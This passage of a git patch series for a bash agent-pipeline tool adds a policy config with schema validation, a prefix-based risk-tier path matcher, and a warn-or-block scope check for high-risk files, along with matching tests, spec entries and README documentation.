`select_next_story` used `select(.passes == false and ...)` while Phase 3's completion count used `select(.passes != true)`. A story that omitted the optional `passes` field entirely was never selected for implementation (`== false` doesn't match `null`/absent) yet was counted incomplete by Phase 3 — the PR would draft forever and re-running the pipeline could never make progress on that story (a liveness hole). Fixed in this commit by changing the predicate to `select(.passes != true and ...)` to agree with Phase 3, with a red-first regression test (`story: select_next_story selects a story omitting passes`, US-RUN-31). | **Closed** | | F8 | `lib/run.sh` `write_run_status` | `pr_url` (and possibly other fields) are interpolated into `run.json` without JSON-escaping, so a value containing an embedded newline (raw git/gh stdout) produces INVALID JSON. Any `jq` consumer of run.json then fails; under `set -e` this crashed `cmd_verify` before its guards ran (worked around in Task 30 by making verify's pid-read fail-open). Root cause is in write_run_status and affects the `status` command too. | Fixed (root cause: write_run_status now JSON-escapes pr_url; verify keeps a defensive fail-open) | diff --git a/tests/oracle.lock.json b/tests/oracle.lock.json index b554390..240daa8 100644 --- a/tests/oracle.lock.json +++ b/tests/oracle.lock.json @@ -4,7 +4,7 @@ "environment": { "claude": true }, - "suiteSha256": "2411501b05d4b230ccc254901fbe26535b0748e302ef6d645fb5e39f6da08bf7", + "suiteSha256": "69f6ea7cef294787fe633d101cc714532407d6b7b5a04db25c6b4ce9f2c0db7b", "gateSha256": "a1bcae04a802b2d54c2ff57956f33c2195b5187acc775947400b4da8d853f83b", "tests": [ { @@ -661,6 +661,14 @@ "name": "summary: handles missing summary gracefully", "story": "US-RUN-27" }, + { + "name": "validate: exits 3 (EXIT_CONFIG_ERROR) on malformed config", + "story": "US-VAL-03" + }, + { + "name": "validate: exits 3 on a config type violation", + "story": "US-VAL-04" + }, { "name": "validate: fails for invalid JSON", "story": "US-VAL-02" diff --git a/tests/simple-test.sh b/tests/simple-test.sh index 939b830..e5c6846 100644 --- a/tests/simple-test.sh +++ b/tests/simple-test.sh @@ -377,6 +377,30 @@ test_result "validate: passes for valid manifest" $? ) test_result "validate: fails for invalid JSON" $? +# Test: validate exits with EXIT_CONFIG_ERROR on a malformed config +( + set -e + cd "$TEST_TEMP" + mkdir -p vex && cd vex + echo 'not json at all' > reqdrive.json + rc=0 + "$REQDRIVE_ROOT/bin/reqdrive" validate > /dev/null 2>&1 || rc=$? + [ "$rc" -eq 3 ] +) +test_result "validate: exits 3 (EXIT_CONFIG_ERROR) on malformed config" $? + +# Test: validate exits 3 on a type violation +( + set -e + cd "$TEST_TEMP" + mkdir -p vex2 && cd vex2 + echo '{"maxIterations":"ten"}' > reqdrive.json + rc=0 + "$REQDRIVE_ROOT/bin/reqdrive" validate > /dev/null 2>&1 || rc=$? + [ "$rc" -eq 3 ] +) +test_result "validate: exits 3 on a config type violation" $? + echo "" echo "--- Sanitize: sanitize_for_prompt ---" From f7fb9ae486f475f9b1597fa6c081957d42c29dfe Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Fri, 24 Jul 2026 02:54:43 -0600 Subject: [PATCH 42/47] feat: add the policy config object with schema validation MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit policy lives inside reqdrive.json (one file, one loader, one validator), not a separate policy.json. Schema validates it: policy must be an object, policy.scopeCheck (if present) must be warn|block, policy.riskTiers values must all be arrays. reqdrive_load_config exports REQDRIVE_POLICY_JSON and REQDRIVE_POLICY_SCOPE_CHECK (defaults {} / warn). Tasks 33-34 consume these. The config doc-coverage test would derive false field names from the two new REQDRIVE_POLICY_* vars, so they're added to its DOC_EXEMPT list as derived from the single documented policy field. US-POL-01..04. reqdrive_load_config still does NOT schema-validate on load (deferred, per the design) — reqdrive validate remains the validation entry point. --- README.md | 1 + lib/config.sh | 5 +++ lib/schema.sh | 27 ++++++++++++++ templates/reqdrive.json.example | 10 ++++- tests/BEHAVIOR-SPEC.md | 37 ++++++++++++++++++ tests/oracle.lock.json | 18 ++++++++- tests/simple-test.sh | 66 +++++++++++++++++++++++++++++++-- 7 files changed, 158 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index 2e6b74c..b85c4c5 100644 --- a/README.md +++ b/README.md @@ -98,6 +98,7 @@ reqdrive run REQ-01 # Run pipeline for a requirement | `completionHook` | (none) | Shell command executed when pipeline completes | | `maxStoryRetries` | `3` | Maximum attempts per user story. `select_next_story` skips a story once its `attempts` counter reaches this value, so a story that cannot be implemented does not consume the whole iteration budget | | `reviewCommand` | (none) | Post-PR review step. `"builtin"` runs a Claude review of the diff; any other non-empty string is executed as a shell command. Findings are appended to the PR body. Warn-only — it never aborts the pipeline, and it runs after PR creation, so it cannot change the draft decision | +| `policy` | `{}` | Evidence policy. `policy.riskTiers` maps tier names (`high`, `medium`, `low`) to arrays of path prefixes; `policy.scopeCheck` is `"warn"` (default) or `"block"` | ## Project Layout diff --git a/lib/config.sh b/lib/config.sh index 769c0ac..77dff10 100644 --- a/lib/config.sh +++ b/lib/config.sh @@ -82,6 +82,11 @@ reqdrive_load_config() { # Optional: review command ("builtin" for Claude review, or custom command) export REQDRIVE_REVIEW_COMMAND REQDRIVE_REVIEW_COMMAND="$(jq -r '.reviewCommand // ""' "$manifest")" + + # Optional: evidence policy (risk tiers, scope-check mode) + REQDRIVE_POLICY_JSON=$(jq -c '.policy // {}' "$manifest") + REQDRIVE_POLICY_SCOPE_CHECK=$(jq -r '.policy.scopeCheck // "warn"' "$manifest") + export REQDRIVE_POLICY_JSON REQDRIVE_POLICY_SCOPE_CHECK } # ── Helpers ────────────────────────────────────────────────────────────── diff --git a/lib/schema.sh b/lib/schema.sh index 1b80f63..a9616f0 100644 --- a/lib/schema.sh +++ b/lib/schema.sh @@ -87,6 +87,33 @@ validate_config_schema() { done <<< "$check" fi + # policy (optional object) + if jq -e 'has("policy")' "$file" > /dev/null 2>&1; then + if ! jq -e '.policy | type == "object"' "$file" > /dev/null 2>&1; then + echo "[SCHEMA] policy must be an object" >&2 + errors=$((errors + 1)) + else + if jq -e '.policy | has("scopeCheck")' "$file" > /dev/null 2>&1; then + local sc + sc=$(jq -r '.policy.scopeCheck' "$file") + case "$sc" in + warn|block) ;; + *) echo "[SCHEMA] policy.scopeCheck must be \"warn\" or \"block\" (got \"$sc\")" >&2 + errors=$((errors + 1)) ;; + esac + fi + if jq -e '.policy | has("riskTiers")' "$file" > /dev/null 2>&1; then + if ! jq -e '.policy.riskTiers | type == "object"' "$file" > /dev/null 2>&1; then + echo "[SCHEMA] policy.riskTiers must be an object" >&2 + errors=$((errors + 1)) + elif ! jq -e '[.policy.riskTiers[] | type == "array"] | all' "$file" > /dev/null 2>&1; then + echo "[SCHEMA] policy.riskTiers values must be arrays of path prefixes" >&2 + errors=$((errors + 1)) + fi + fi + fi + fi + [ "$errors" -eq 0 ] } diff --git a/templates/reqdrive.json.example b/templates/reqdrive.json.example index 25e6633..1da9e4b 100644 --- a/templates/reqdrive.json.example +++ b/templates/reqdrive.json.example @@ -8,5 +8,13 @@ "prLabels": ["agent-generated"], "projectName": "My Project", "completionHook": "", - "reviewCommand": "" + "reviewCommand": "", + "policy": { + "riskTiers": { + "high": ["src/auth", "src/payments"], + "medium": ["src/api"], + "low": ["docs"] + }, + "scopeCheck": "warn" + } } diff --git a/tests/BEHAVIOR-SPEC.md b/tests/BEHAVIOR-SPEC.md index d8de1f1..538a251 100644 --- a/tests/BEHAVIOR-SPEC.md +++ b/tests/BEHAVIOR-SPEC.md @@ -1405,3 +1405,40 @@ not part of this spec (no story, not locked). **As** an operator re-running a requirement after a prior run finished, **When** `run.json` exists with `status: "completed"` (not `"running"`) and `reqdrive launch REQ-01` is invoked, **Then** the duplicate-run guard is skipped and `launch` prints `Launched REQ-01` rather than an `already running` error, so only a genuinely in-flight run blocks a re-launch. + +## Module 16: policy config + +`policy` is an optional object inside `reqdrive.json` — one file, one loader, +one schema validator — rather than a separate `.reqdrive/policy.json`. It is +the config surface Tasks 33 (scope checking) and 34 (risk tiers) consume. +`reqdrive_load_config` does not schema-validate; it only reads `policy` with +safe defaults, so a malformed `policy` object is caught by `reqdrive validate` +(`validate_config_schema`), not by every command that loads config. + +### US-POL-01: A well-formed policy object validates +**Test:** `policy: a well-formed policy object validates` + +**As** a maintainer configuring evidence policy in `reqdrive.json`, +**When** `policy.riskTiers` maps tier names to arrays of path prefixes and `policy.scopeCheck` is `"warn"`, +**Then** `reqdrive validate` exits `0` — a well-formed `policy` object does not trip schema validation. + +### US-POL-02: An invalid scopeCheck value is rejected +**Test:** `policy: rejects an invalid scopeCheck value` + +**As** a maintainer relying on schema validation to catch config typos before a run, +**When** `policy.scopeCheck` is set to a value other than `"warn"` or `"block"` (e.g. `"maybe"`), +**Then** `reqdrive validate` exits `3` (`EXIT_CONFIG_ERROR`) and the output names `scopeCheck`, so the operator knows exactly which field is wrong. + +### US-POL-03: A non-array risk tier is rejected +**Test:** `policy: rejects a non-array risk tier` + +**As** a maintainer relying on schema validation to catch config typos before a run, +**When** `policy.riskTiers` maps a tier name to a bare string instead of an array of path prefixes, +**Then** `reqdrive validate` exits `3` (`EXIT_CONFIG_ERROR`) and the output names `riskTiers`, so the operator knows exactly which field is wrong. + +### US-POL-04: scopeCheck defaults to warn when policy is absent +**Test:** `policy: scopeCheck defaults to warn when absent` + +**As** a maintainer with no `policy` block in `reqdrive.json` yet, +**When** `reqdrive_load_config` runs against a manifest with no `policy` key, +**Then** `REQDRIVE_POLICY_SCOPE_CHECK` is exported as `"warn"` and `REQDRIVE_POLICY_JSON` is exported as `"{}"`, so downstream consumers (Tasks 33/34) never see an unset or malformed policy. diff --git a/tests/oracle.lock.json b/tests/oracle.lock.json index 240daa8..640b488 100644 --- a/tests/oracle.lock.json +++ b/tests/oracle.lock.json @@ -4,7 +4,7 @@ "environment": { "claude": true }, - "suiteSha256": "69f6ea7cef294787fe633d101cc714532407d6b7b5a04db25c6b4ce9f2c0db7b", + "suiteSha256": "e8f4c1a7148dddba6b561df8245ea4396dce5bcde95e9e076da0ad90151a522e", "gateSha256": "a1bcae04a802b2d54c2ff57956f33c2195b5187acc775947400b4da8d853f83b", "tests": [ { @@ -285,6 +285,22 @@ "name": "pipeline: scripted run reaches PR creation", "story": "US-PIPE-01" }, + { + "name": "policy: a well-formed policy object validates", + "story": "US-POL-01" + }, + { + "name": "policy: rejects a non-array risk tier", + "story": "US-POL-03" + }, + { + "name": "policy: rejects an invalid scopeCheck value", + "story": "US-POL-02" + }, + { + "name": "policy: scopeCheck defaults to warn when absent", + "story": "US-POL-04" + }, { "name": "pr: body includes verification section from summary", "story": "US-PR-04" diff --git a/tests/simple-test.sh b/tests/simple-test.sh index e5c6846..ded8026 100644 --- a/tests/simple-test.sh +++ b/tests/simple-test.sh @@ -2900,6 +2900,62 @@ test_result "verify: exits 4 when --ref names a nonexistent branch" $? ) test_result "errors: verification and concurrency codes are defined" $? +echo "" +echo "--- Policy Config ---" + +# Test: a well-formed policy object validates +( + set -e + cd "$TEST_TEMP" && mkdir -p pol-ok && cd pol-ok + cat > reqdrive.json <<'EOF' +{"version":"0.3.0","policy":{"riskTiers":{"high":["src/auth"],"low":["docs"]},"scopeCheck":"warn"}} +EOF + "$REQDRIVE_ROOT/bin/reqdrive" validate > /dev/null 2>&1 +) +test_result "policy: a well-formed policy object validates" $? + +# Test: an invalid scopeCheck value is rejected +( + set -e + cd "$TEST_TEMP" && mkdir -p pol-bad && cd pol-bad + cat > reqdrive.json <<'EOF' +{"version":"0.3.0","policy":{"scopeCheck":"maybe"}} +EOF + rc=0 + out=$("$REQDRIVE_ROOT/bin/reqdrive" validate 2>&1) || rc=$? + [ "$rc" -eq 3 ] + echo "$out" | grep -q "scopeCheck" +) +test_result "policy: rejects an invalid scopeCheck value" $? + +# Test: riskTiers must map tier names to arrays +( + set -e + cd "$TEST_TEMP" && mkdir -p pol-tiers && cd pol-tiers + cat > reqdrive.json <<'EOF' +{"version":"0.3.0","policy":{"riskTiers":{"high":"src/auth"}}} +EOF + rc=0 + out=$("$REQDRIVE_ROOT/bin/reqdrive" validate 2>&1) || rc=$? + [ "$rc" -eq 3 ] + echo "$out" | grep -q "riskTiers" +) +test_result "policy: rejects a non-array risk tier" $? + +# Test: scopeCheck defaults to warn when policy is absent +( + set -e + cd "$TEST_TEMP" && mkdir -p pol-default && cd pol-default + echo '{"version":"0.3.0"}' > reqdrive.json + source "$REQDRIVE_ROOT/lib/errors.sh" + source "$REQDRIVE_ROOT/lib/schema.sh" + source "$REQDRIVE_ROOT/lib/config.sh" + reqdrive_load_config + [ "$REQDRIVE_POLICY_SCOPE_CHECK" = "warn" ] + [ "$REQDRIVE_POLICY_JSON" = "{}" ] +) +test_result "policy: scopeCheck defaults to warn when absent" $? + echo "" echo "--- Doc Coverage ---" @@ -2923,10 +2979,12 @@ test_result "docs: every CLI command is documented in README" $? ( set -e # DOC_EXEMPT — derived at runtime, not settable in reqdrive.json: - # REQDRIVE_MANIFEST resolved path of the found manifest - # REQDRIVE_PROJECT_ROOT parent directory of the manifest - # REQDRIVE_ROOT reqdrive's own install directory - exempt="REQDRIVE_MANIFEST REQDRIVE_PROJECT_ROOT REQDRIVE_ROOT" + # REQDRIVE_MANIFEST resolved path of the found manifest + # REQDRIVE_PROJECT_ROOT parent directory of the manifest + # REQDRIVE_ROOT reqdrive's own install directory + # REQDRIVE_POLICY_JSON derived from the single documented `policy` field, not a field itself + # REQDRIVE_POLICY_SCOPE_CHECK derived from the single documented `policy` field, not a field itself + exempt="REQDRIVE_MANIFEST REQDRIVE_PROJECT_ROOT REQDRIVE_ROOT REQDRIVE_POLICY_JSON REQDRIVE_POLICY_SCOPE_CHECK" vars=$(grep -oE 'REQDRIVE_[A-Z_]+' "$REQDRIVE_ROOT/lib/config.sh" | sort -u) [ -n "$vars" ] missing="" From 8f7426be390fb80f4edb7d6d9679c5859f2fd9d2 Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Fri, 24 Jul 2026 03:33:08 -0600 Subject: [PATCH 43/47] feat: add risk-tier path matching with prefix semantics MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit lib/policy.sh classifies a path into high/medium/low/none. Patterns are bare path prefixes, NOT globs: in bash [[ ]] matching globstar does not apply, so ** and * are indistinguishable and both cross /, and src/auth/** fails to match src/auth itself. A path matches when it equals the pattern or begins with pattern/ — so src/auth.sh does NOT match src/auth (the trap a glob would have hidden), while src/auth/login.ts does. Tiers are probed high->medium->low so the highest wins. The jq-per-tier read strips a trailing CR (native Windows jq emits CRLF in multi-line -r output; a no-op on Linux). US-POL-05..08. --- lib/policy.sh | 39 ++++++++++++++++++++++++++++++++++++ tests/BEHAVIOR-SPEC.md | 39 ++++++++++++++++++++++++++++++++++++ tests/oracle.lock.json | 18 ++++++++++++++++- tests/simple-test.sh | 45 ++++++++++++++++++++++++++++++++++++++++++ 4 files changed, 140 insertions(+), 1 deletion(-) create mode 100644 lib/policy.sh diff --git a/lib/policy.sh b/lib/policy.sh new file mode 100644 index 0000000..5a2cff3 --- /dev/null +++ b/lib/policy.sh @@ -0,0 +1,39 @@ +#!/usr/bin/env bash +# Risk-tier path classification. +# +# Patterns are bare path prefixes, not globs. A path matches a pattern when +# it equals the pattern or begins with "/". Globs are deliberately +# not used: inside [[ ]] bash does not honour globstar, so ** and * are +# indistinguishable and both cross "/", while "src/auth/**" fails to match +# "src/auth" itself. Prefix semantics are what a reader expects and what the +# tests can pin. +set -e + +# policy_tier_for_path -> high | medium | low | none +policy_tier_for_path() { + local path="$1" + local policy="${REQDRIVE_POLICY_JSON:-{\}}" + local tier pattern + + # Highest tier wins, so probe in descending order of risk. + for tier in high medium low; do + while IFS= read -r pattern; do + pattern="${pattern%$'\r'}" # native jq.exe on Windows/MSYS emits CRLF + [ -n "$pattern" ] || continue + if [ "$path" = "$pattern" ] || [ "${path#"$pattern"/}" != "$path" ]; then + printf '%s\n' "$tier" + return 0 + fi + done < <(printf '%s' "$policy" | jq -r --arg t "$tier" '.riskTiers[$t][]? // empty' 2>/dev/null) + done + + printf 'none\n' +} + +# policy_classify_paths ... -> "TIERPATH" per line +policy_classify_paths() { + local p + for p in "$@"; do + printf '%s\t%s\n' "$(policy_tier_for_path "$p")" "$p" + done +} diff --git a/tests/BEHAVIOR-SPEC.md b/tests/BEHAVIOR-SPEC.md index 538a251..6b7a9a9 100644 --- a/tests/BEHAVIOR-SPEC.md +++ b/tests/BEHAVIOR-SPEC.md @@ -1442,3 +1442,42 @@ safe defaults, so a malformed `policy` object is caught by `reqdrive validate` **As** a maintainer with no `policy` block in `reqdrive.json` yet, **When** `reqdrive_load_config` runs against a manifest with no `policy` key, **Then** `REQDRIVE_POLICY_SCOPE_CHECK` is exported as `"warn"` and `REQDRIVE_POLICY_JSON` is exported as `"{}"`, so downstream consumers (Tasks 33/34) never see an unset or malformed policy. + +## Module 17: policy matcher (lib/policy.sh) + +`lib/policy.sh` classifies a path against `REQDRIVE_POLICY_JSON.riskTiers`. +Patterns are bare path prefixes, not globs: inside `[[ ]]` bash does not honour +globstar, so `**` and `*` are indistinguishable and both cross `/`, while +`src/auth/**` fails to match `src/auth` itself. A path matches a pattern when +it equals the pattern or begins with `"/"`. `policy_tier_for_path` +probes `high`, `medium`, then `low` in that order so the highest tier wins; +`policy_classify_paths` prints `TIERPATH` per input path. This is the +matcher Task 34's scope check consumes. + +### US-POL-05: Matcher classifies paths by tier +**Test:** `policy: matcher classifies paths by tier` + +**As** the scope-check step classifying changed files by risk, +**When** `REQDRIVE_POLICY_JSON.riskTiers` maps `high` to `src/auth`, `medium` to `src/api`, and `low` to `docs`, +**Then** `policy_tier_for_path` returns `high` for a nested descendant (`src/auth/login.ts`) and for the tier directory itself (`src/auth`), `medium` for `src/api/v1/users.ts`, `low` for `docs/README.md`, and `none` for a path outside every tier (`src/util/math.ts`). + +### US-POL-06: A prefix-sharing sibling does not match +**Test:** `policy: a prefix-sharing sibling does not match` + +**As** the scope-check step trusting the matcher not to over-classify, +**When** `REQDRIVE_POLICY_JSON.riskTiers.high` is `["src/auth"]`, +**Then** `policy_tier_for_path` returns `none` for `src/auth.sh` and `src/authorization/x.ts` — both share the `src/auth` character prefix but neither sits at a `/` directory boundary, which is exactly the trap a glob (`src/auth*`) would have fallen into. + +### US-POL-07: Highest tier wins when a path matches two +**Test:** `policy: highest tier wins when a path matches two` + +**As** the scope-check step needing one definitive tier per path, +**When** `REQDRIVE_POLICY_JSON.riskTiers.high` is `["src/auth"]` and `riskTiers.low` is `["src/auth/keys"]`, +**Then** `policy_tier_for_path 'src/auth/keys/rsa.pem'` returns `high`, because tiers are probed in descending risk order and the first match wins. + +### US-POL-08: No riskTiers means every path is untiered +**Test:** `policy: no riskTiers means every path is untiered` + +**As** a maintainer who has not yet configured risk tiers, +**When** `REQDRIVE_POLICY_JSON` is `{}`, +**Then** `policy_tier_for_path` returns `none` for every path, so the absence of policy configuration is safe by default rather than an error. diff --git a/tests/oracle.lock.json b/tests/oracle.lock.json index 640b488..aaec9ab 100644 --- a/tests/oracle.lock.json +++ b/tests/oracle.lock.json @@ -4,7 +4,7 @@ "environment": { "claude": true }, - "suiteSha256": "e8f4c1a7148dddba6b561df8245ea4396dce5bcde95e9e076da0ad90151a522e", + "suiteSha256": "85971c07062bc0c1a0a3f11b7b9826190ab5505548a32f26b9d82e82108113b3", "gateSha256": "a1bcae04a802b2d54c2ff57956f33c2195b5187acc775947400b4da8d853f83b", "tests": [ { @@ -285,10 +285,26 @@ "name": "pipeline: scripted run reaches PR creation", "story": "US-PIPE-01" }, + { + "name": "policy: a prefix-sharing sibling does not match", + "story": "US-POL-06" + }, { "name": "policy: a well-formed policy object validates", "story": "US-POL-01" }, + { + "name": "policy: highest tier wins when a path matches two", + "story": "US-POL-07" + }, + { + "name": "policy: matcher classifies paths by tier", + "story": "US-POL-05" + }, + { + "name": "policy: no riskTiers means every path is untiered", + "story": "US-POL-08" + }, { "name": "policy: rejects a non-array risk tier", "story": "US-POL-03" diff --git a/tests/simple-test.sh b/tests/simple-test.sh index ded8026..2d25295 100644 --- a/tests/simple-test.sh +++ b/tests/simple-test.sh @@ -3129,6 +3129,51 @@ EOF ) test_result "launch: re-launch is permitted after the previous run completed" $? +echo "" +echo "--- Policy Matcher ---" + +# Test: matcher classifies paths by tier (nested descendant, tier dir itself, no match) +( + set -e + export REQDRIVE_POLICY_JSON='{"riskTiers":{"high":["src/auth"],"medium":["src/api"],"low":["docs"]}}' + source "$REQDRIVE_ROOT/lib/policy.sh" + [ "$(policy_tier_for_path 'src/auth/login.ts')" = "high" ] # nested descendant + [ "$(policy_tier_for_path 'src/auth')" = "high" ] # the tier directory itself + [ "$(policy_tier_for_path 'src/api/v1/users.ts')" = "medium" ] + [ "$(policy_tier_for_path 'docs/README.md')" = "low" ] + [ "$(policy_tier_for_path 'src/util/math.ts')" = "none" ] # no match +) +test_result "policy: matcher classifies paths by tier" $? + +# Test: a sibling that merely shares the prefix must NOT match (directory-boundary check) +( + set -e + export REQDRIVE_POLICY_JSON='{"riskTiers":{"high":["src/auth"]}}' + source "$REQDRIVE_ROOT/lib/policy.sh" + [ "$(policy_tier_for_path 'src/auth.sh')" = "none" ] + [ "$(policy_tier_for_path 'src/authorization/x.ts')" = "none" ] +) +test_result "policy: a prefix-sharing sibling does not match" $? + +# Test: highest tier wins when a path matches two +( + set -e + # src/auth/keys is in both high and low; highest must win. + export REQDRIVE_POLICY_JSON='{"riskTiers":{"high":["src/auth"],"low":["src/auth/keys"]}}' + source "$REQDRIVE_ROOT/lib/policy.sh" + [ "$(policy_tier_for_path 'src/auth/keys/rsa.pem')" = "high" ] +) +test_result "policy: highest tier wins when a path matches two" $? + +# Test: no riskTiers means every path is untiered +( + set -e + export REQDRIVE_POLICY_JSON='{}' + source "$REQDRIVE_ROOT/lib/policy.sh" + [ "$(policy_tier_for_path 'src/auth/login.ts')" = "none" ] +) +test_result "policy: no riskTiers means every path is untiered" $? + echo "" echo "========================================" echo " Results: $PASS passed, $FAIL failed, $SKIP skipped, $TOTAL total" From 6e4abce5910cf9c6b9c8b0b0c8ab304c83ac23f4 Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Fri, 24 Jul 2026 04:24:08 -0600 Subject: [PATCH 44/47] feat: scope-check high-risk paths, warn by default After each implementation iteration, git diff --name-only HEAD~1 HEAD is classified by risk tier; a high-risk path changed in an iteration whose tests did not pass is a finding. warn (default) logs it to scope-findings.txt and the PR body and continues; block aborts the iteration with EXIT_PREFLIGHT_FAILED. The touched paths are iterated with a while-read loop, not $changed word-splitting, so filenames with spaces are safe and there is no SC2086. Ships warn-only: the roadmap wanted a hard gate, the architecture principle says warn before enforce. The knob makes the gate one config edit away, and warn-mode data is what would justify flipping the default. US-SCOPE-01..03. --- README.md | 51 ++++++++++++++++++++++++++++++++++++++++++ lib/policy.sh | 44 ++++++++++++++++++++++++++++++++++++ lib/pr-create.sh | 13 +++++++++++ lib/run.sh | 13 +++++++++++ tests/BEHAVIOR-SPEC.md | 37 ++++++++++++++++++++++++++++++ tests/oracle.lock.json | 14 +++++++++++- tests/simple-test.sh | 49 ++++++++++++++++++++++++++++++++++++++++ 7 files changed, 220 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index b85c4c5..9f1f318 100644 --- a/README.md +++ b/README.md @@ -158,6 +158,57 @@ By default, reqdrive runs in **interactive mode**, which prompts for permission Requirement content is scanned for dangerous patterns (shell injection, path traversal). PRD-derived fields are sanitized before prompt expansion. +## Risk Tiers and Scope Checking + +`reqdrive.json`'s `policy` field (see Configuration above) lets you flag +sensitive paths and have the pipeline notice when they change without +evidence that tests still pass. + +**Prefix semantics.** `policy.riskTiers` maps tier names (`high`, `medium`, +`low`) to arrays of path prefixes — not globs. A changed path matches a +tier when it equals the prefix exactly or begins with `"/"`. `src/auth` +matches `src/auth` and `src/auth/login.ts`, but not `src/authorization/x.ts` — +sharing characters isn't sharing a directory boundary. When a path matches +prefixes in more than one tier, the highest tier wins. + +**The violation condition.** After each implementation iteration, the +pipeline diffs the commit the agent just made (`git diff HEAD~1 HEAD`) and +classifies the changed paths. A finding is a **high-risk path changed in an +iteration whose `testCommand` run did not pass** — including iterations +where no `testCommand` is configured at all, since there's no evidence +either way. + +**Two modes**, set via `policy.scopeCheck`: + +- `"warn"` (default) — the finding is appended to + `.reqdrive/runs//scope-findings.txt`, logged to the console, and + rendered into the PR body under a `### Scope findings` section. The + pipeline continues and the exit code is unchanged. +- `"block"` — the same finding is logged, and the iteration additionally + aborts the pipeline with exit code 8 (`EXIT_PREFLIGHT_FAILED`) — reused + because a scope violation is a policy pre-condition, not a new failure + category. + +**Why `warn` is the default.** This is a hard gate the roadmap has wanted for +a while, but the architecture's "warn before enforce" principle applies: no +run has generated warn-mode data yet, so there's no basis for judging the +gate's false-positive rate against real risk-tier configurations. `warn` +ships first so that data can accumulate; flipping to `"block"` is a one-line +config change once it does. + +```json +{ + "policy": { + "riskTiers": { + "high": ["src/auth", "src/payments"], + "medium": ["src/api"], + "low": ["docs"] + }, + "scopeCheck": "warn" + } +} +``` + ## Testing ```bash diff --git a/lib/policy.sh b/lib/policy.sh index 5a2cff3..5153490 100644 --- a/lib/policy.sh +++ b/lib/policy.sh @@ -37,3 +37,47 @@ policy_classify_paths() { printf '%s\t%s\n' "$(policy_tier_for_path "$p")" "$p" done } + +# policy_scope_check +# +# A finding is a high-risk path changed in an iteration whose testCommand +# run did not pass. warn (default) logs the finding to scope-findings.txt +# and continues; block does the same and returns 1 so the caller aborts. +# +# Paths are read line-by-line rather than passed as `policy_classify_paths +# $changed` — an unquoted expansion word-splits on spaces, and filenames can +# contain them. Quoting `"$changed"` in a herestring keeps each line, and +# therefore each path, intact. +# +# Returns 0 to continue, 1 when block mode must abort. +policy_scope_check() { + local agent_dir="$1" iteration="$2" tests_passed="$3" + local mode="${REQDRIVE_POLICY_SCOPE_CHECK:-warn}" + local findings_file="$agent_dir/scope-findings.txt" + + local changed + changed=$(git diff --name-only HEAD~1 HEAD 2>/dev/null || echo "") + [ -n "$changed" ] || return 0 + + local violations="" + while IFS= read -r path; do + [ -n "$path" ] || continue + local tier + tier=$(policy_tier_for_path "$path") + [ "$tier" = "high" ] || continue + [ "$tests_passed" = "1" ] && continue + violations="$violations $path" + done <<< "$changed" + + [ -n "$violations" ] || return 0 + + echo "iteration $iteration: high-risk paths changed without a passing test run:$violations" \ + >> "$findings_file" + + if [ "$mode" = "block" ]; then + echo "[ERROR] Scope check: high-risk paths changed without a passing test run:$violations" >&2 + return 1 + fi + echo "[WARN] Scope check: high-risk paths changed without a passing test run:$violations" >&2 + return 0 +} diff --git a/lib/pr-create.sh b/lib/pr-create.sh index 07ff4dc..14c2f28 100644 --- a/lib/pr-create.sh +++ b/lib/pr-create.sh @@ -178,6 +178,18 @@ VSEOF ) fi + # Load scope-check findings if any exist (warn-mode high-risk path + # violations from policy_scope_check, one line per iteration) + local scope_findings_file="$agent_dir/scope-findings.txt" + local scope_section="" + if [ -f "$scope_findings_file" ] && [ -s "$scope_findings_file" ]; then + scope_section=$(printf '\n### Scope findings\n\n') + while IFS= read -r finding_line; do + [ -n "$finding_line" ] || continue + scope_section+="- $finding_line"$'\n' + done < "$scope_findings_file" + fi + # Build label flags with proper sanitization local labels=() @@ -219,6 +231,7 @@ VSEOF $commits \`\`\` $verification_section +$scope_section ## Validation Checklist diff --git a/lib/run.sh b/lib/run.sh index 0ae2d31..3bff1b5 100644 --- a/lib/run.sh +++ b/lib/run.sh @@ -1055,12 +1055,14 @@ EOF RUN_SUMMARY_ITERATIONS=$((RUN_SUMMARY_ITERATIONS + 1)) # Run test command if configured (observation mode — warn, don't abort) + local iter_tests_passed=0 if [ -n "${REQDRIVE_TEST_COMMAND:-}" ]; then log_info "Running test command: $REQDRIVE_TEST_COMMAND" local test_log="$agent_dir/iteration-$i.test.log" if eval "$REQDRIVE_TEST_COMMAND" > "$test_log" 2>&1; then log_info "Tests passed after iteration $i" RUN_SUMMARY_TESTS_PASSED=$((RUN_SUMMARY_TESTS_PASSED + 1)) + iter_tests_passed=1 else log_warn "Tests FAILED after iteration $i (see iteration-$i.test.log)" RUN_SUMMARY_TESTS_FAILED=$((RUN_SUMMARY_TESTS_FAILED + 1)) @@ -1079,6 +1081,17 @@ EOF RUN_SUMMARY_COMMITS_MISSING=$((RUN_SUMMARY_COMMITS_MISSING + 1)) fi + # Scope check: a high-risk path changed without a passing test run is a + # policy pre-condition finding. warn (default) logs it and continues; + # block aborts with EXIT_PREFLIGHT_FAILED, reusing the existing code + # rather than inventing a new one. + source "$REQDRIVE_ROOT/lib/policy.sh" + if ! policy_scope_check "$agent_dir" "$i" "$iter_tests_passed"; then + write_run_status "$agent_dir" "failed" "$req_id" "$i" "$EXIT_PREFLIGHT_FAILED" + run_completion_hook "$req_id" "failed" "" "$branch" "$EXIT_PREFLIGHT_FAILED" + exit "$EXIT_PREFLIGHT_FAILED" + fi + # Increment attempt counter for this story in prd.json jq --arg id "$next_story" \ '(.userStories[] | select(.id == $id)).attempts = ((.userStories[] | select(.id == $id)).attempts // 0) + 1' \ diff --git a/tests/BEHAVIOR-SPEC.md b/tests/BEHAVIOR-SPEC.md index 6b7a9a9..8c6136b 100644 --- a/tests/BEHAVIOR-SPEC.md +++ b/tests/BEHAVIOR-SPEC.md @@ -1481,3 +1481,40 @@ matcher Task 34's scope check consumes. **As** a maintainer who has not yet configured risk tiers, **When** `REQDRIVE_POLICY_JSON` is `{}`, **Then** `policy_tier_for_path` returns `none` for every path, so the absence of policy configuration is safe by default rather than an error. + +## Module 18: scope check (lib/policy.sh + lib/run.sh) + +`policy_scope_check ` runs after every +implementation iteration's commit-verification step. It diffs the commit the +agent just made (`git diff --name-only HEAD~1 HEAD`), classifies each changed 